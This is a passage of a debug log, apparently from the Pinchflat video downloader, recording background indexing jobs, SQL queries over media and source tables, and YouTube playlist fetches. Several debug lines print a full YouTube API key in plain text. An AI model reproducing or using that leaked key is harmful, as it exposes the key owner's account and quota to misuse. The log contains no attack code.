db=0.6ms idle=184.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:56:42.908 [debug] QUERY OK source="media_items" db=0.3ms idle=185.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:56:42.908 [debug] QUERY OK source="tasks" db=0.1ms idle=186.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800319, 43, ~U[2026-02-10 23:56:42Z], ~U[2026-02-10 23:56:42Z]] 17:56:42.909 [info] {"args":{"id":43},"id":3800280,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":187372,"event":"job:stop","queue_time":525606,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:44.724 [info] {"args":{"id":25},"id":3800281,"meta":{},"system_time":1770767804724781468,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:44.725 [info] {"args":{"id":7},"id":3800282,"meta":{},"system_time":1770767804724845526,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:44.725 [debug] QUERY OK source="sources" db=0.1ms idle=1815.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:56:44.725 [debug] QUERY OK source="sources" db=0.1ms idle=1809.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:56:44.725 [debug] QUERY OK source="settings" db=0.1ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.725 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.725 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:44.725 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:44.725 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.725 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:56:44.725 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.725 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:56:44.725 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.726 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:44.726 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:44.726 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:44.861 [debug] QUERY OK source="media_items" db=0.7ms idle=134.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:56:44.863 [debug] QUERY OK source="media_items" db=1.0ms idle=136.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:56:44.863 [debug] QUERY OK source="tasks" db=0.1ms idle=137.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800320, 25, ~U[2026-02-10 23:56:44Z], ~U[2026-02-10 23:56:44Z]] 17:56:44.864 [info] {"args":{"id":25},"id":3800281,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":139079,"event":"job:stop","queue_time":470277,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:44.991 [debug] QUERY OK source="media_items" db=0.7ms idle=126.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:56:44.993 [debug] QUERY OK source="media_items" db=2.2ms idle=127.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:56:44.994 [debug] QUERY OK source="tasks" db=0.1ms idle=125.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800321, 7, ~U[2026-02-10 23:56:44Z], ~U[2026-02-10 23:56:44Z]] 17:56:44.995 [info] {"args":{"id":7},"id":3800282,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":270034,"event":"job:stop","queue_time":328379,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:45.725 [info] {"args":{"id":20},"id":3800283,"meta":{},"system_time":1770767805725830800,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:45.726 [debug] QUERY OK source="sources" db=0.1ms idle=731.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:56:45.726 [debug] QUERY OK source="settings" db=0.1ms idle=731.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:45.726 [debug] QUERY OK source="media_profiles" db=0.1ms idle=724.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:45.726 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:45.726 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:56:45.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:45.726 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:45.820 [debug] QUERY OK source="media_items" db=0.6ms idle=93.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:56:45.821 [debug] QUERY OK source="media_items" db=0.3ms idle=94.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:56:45.822 [debug] QUERY OK source="tasks" db=0.2ms idle=95.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800322, 20, ~U[2026-02-10 23:56:45Z], ~U[2026-02-10 23:56:45Z]] 17:56:45.822 [info] {"args":{"id":20},"id":3800283,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96422,"event":"job:stop","queue_time":507067,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:55.737 [info] {"args":{"id":19},"id":3800284,"meta":{},"system_time":1770767815736855739,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:55.737 [debug] QUERY OK source="sources" db=0.2ms idle=858.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:56:55.737 [debug] QUERY OK source="settings" db=0.1ms idle=859.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.737 [debug] QUERY OK source="media_profiles" db=0.2ms idle=859.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:55.738 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.738 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:56:55.738 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:55.738 [debug] Using YouTube API key: 